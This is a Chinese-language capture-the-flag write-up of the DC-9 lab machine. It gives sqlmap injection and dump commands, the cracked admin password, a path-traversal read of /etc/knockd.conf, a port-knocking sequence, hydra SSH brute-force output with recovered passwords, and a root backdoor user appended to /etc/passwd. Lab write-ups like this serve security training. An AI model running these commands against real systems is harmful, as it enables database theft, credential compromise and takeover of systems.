一、搭建环境
kali的IP地址是:192.168.200.14
DC-9的IP地址暂时未知
二、信息收集
1、探索同网段下存活的主机
arp-scan -l #
2、探索开放的端口
开启端口有:80和22端口
3、目录扫描
访问80 端口显示的主页面
分别点击其他几个页面
可以看到是用户的信息
此页面下出现的搜索框。可能会存在xss漏洞和SQL注入漏洞
最后一个需要正确输入用户名和密码才可以登录
输入什么都会跳转这个页面
用抓包的形式进行尝试,点击进行抓包测试
三、漏洞探测
sql注入
运用工具SQLMAP
将捕获的数据要包放到sqlmap的安装目录下,创建一个新的文件
在cmd命令行上输入以下指令
1、获得数据库
python sqlmap.py -r 1.txt --dbs --batch # 第一种方法
python sqlmap.py -u "http://192.168.200.6/results.php" --data "search=1" --dbs 第二种方法
2、获取数据表
python sqlmap.py -r 1.txt -D Staff --tables # 第一种方法
python sqlmap.py -u "http://192.168.200.6/results.php" --data "search=1" -D Staff --tables
# 第二种方法
3、爆字段
sqlmap.py -r 1.txt -D Staff -T Users --columns # 第一种方法python sqlmap.py -u "http://192.168.200.6/results.php" --data "search=1" -D Staff -T Users --columns
# 第二种方法
4、暴内容
python sqlmap -u "http://192.168.200.6/results.php" --data "search=1" -D Staff -T Users --dump
# 第一种方法
python sqlmap.py -r 1.txt -D Staff -T Users --dump # 第二种方法
+--------+----------+----------------------------------+
| UserID | Username | Password |
+--------+----------+----------------------------------+
| 1 | admin | 856f5de590ef37314e7c3bdf6f8a66dc |
+--------+----------+----------------------------------+
经过md5加密的admin用户密码,在线md5解码一下
账号:admin
密码:transorbital1
登录成功
爆破另外一个数据库(Users)(只是用使用一种方法)
1、爆破数据库
python sqlmap.py -r 1.txt --dbs --batch
2、获取数据库
python sqlmap.py -r 1.txt -D Users --tables
3、爆破字段
python sqlmap.py -r 1.txt -D users -T UserDetails --columns
4、爆破内容
python sqlmap.py -r 1.txt -D users -T UserDetails --dumppython sqlmap -r 1.txt -D users -T UserDetails -C username,password --dump
回到原网页
文件包含
根据底部的信息File does not exist,可以推断,有可能存在文件包含漏洞
选择manage.php进行尝试文件包含漏洞,成功,经过百度,可以知道有个敲门打开SSH端口的事情
端口保护之端口敲门
大致就是按一定的顺序访问端口可以达到开启和关闭某个端口的机制
通过查看…/…/…/…/etc/knockd.conf文件,结合搜索到的相关知识,知道用nc分别去尝试这三个端口可以打开SSH端口
通过查看../../../../etc/knockd.conf文件,结合搜索到的相关知识,
知道用nc分别去尝试这三个端口可以打开SSH端口
经过百度,进行敲门
nc 192.168.200.6 7469
nc 192.168.200.6 8475
nc 192.168.200.6 9842
nmap再次扫描一下发现22端口开放了,amazing!!!
使用之前得到的用户名和密码去爆破ssh服务
hydra -L username.txt -P password.txt ssh://192.168.200.6 Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-31 04:04:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 289 login tries (l:17/p:17), ~19 tries per task
[DATA] attacking ssh://10.0.0.28:22/
[22][ssh] host: 192.168.200.6 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.200.6 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.200.6 login: janitor password: Ilovepeepee
1 of 1 target successfully completed, 3 valid passwords found
三个用户家目录下什么也没有
按顺序先选择fredf登录B4-Tru3-001
ssh fredf@192.168.200.6
查看sudo -l成功
选择chandlerb登录UrAG0D!
ssh chandlerb@192.168.200.6
查看sudo -l失败
选择joeyt登录Passw0rd
ssh joeyt@192.168.200.6
查看sudo -l失败
选择janitor登录Ilovepeepee
ssh janitor@192.168.200.6
查看sudo -l失败
使用janitor登陆,发现了一个密码文件,使用janitor登陆,发现了一个密码文件
janitor@dc-9:~$ ls -al
total 20
drwx------ 4 janitor janitor 4096 Aug 31 18:38 .
drwxr-xr-x 19 root root 4096 Dec 29 2019 ..
lrwxrwxrwx 1 janitor janitor 9 Dec 29 2019 .bash_history -> /dev/null
drwx------ 3 janitor janitor 4096 Aug 31 18:05 .gnupg
drwx------ 2 janitor janitor 4096 Dec 29 2019 .secrets-for-putin
-rw-r--r-- 1 janitor janitor 6 Aug 31 18:42 test.txt
janitor@dc-9:~$ cd .secrets-for-putin/
janitor@dc-9:~/.secrets-for-putin$ ls
passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts[22][ssh] host: 192.168.200.6 login: fredf password: B4-Tru3-001
经过四个账户的查询发现只有fredf有一定权限
cd /opt/devstuff/dist/test/
ls -al
可以发现他具有一个特殊权限,可以运行一个test脚本。
fredf@dc-9:~$ /opt/devstuff/dist/test/test --help
Usage: python test.py read append
fredf@dc-9:~$
# 这个test的作用就是把一个文件中的内容append到另一个文件中。
我们首先想到利用test往passwd文件中写入用户信息,便这个用户口令必须是加密过的。
提权
在janitor中发现了几个密码,加到我们的密码字典中
然后再次使用hydra爆破发现了第四个可以用ssh登录的账号和密码
登录后sudo -l发现test文件有root权限
切换到test目录看下,找下这个test.py,在/opt/devstuff目录下,脚本的作用就是将第一个文件的内容附加到另一个文件里面去
在etc/passwd文件里进行写入账号密码
运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径
openssl passwd -1 -salt dc 123456
echo 'dc:$1$dc$5uDk4oYnRiBs0fFGlcRwy.:0:0:root:/bin/bash' >> /tmp/dc
sudo ./test /tmp/dc /etc/passwd
3.按照/etc/passwd的格式写一个文件,通过test脚本追加到/etc/passwd中即可提权,运行脚本的时候最好切换到test目录下,test.py的路径为绝对路径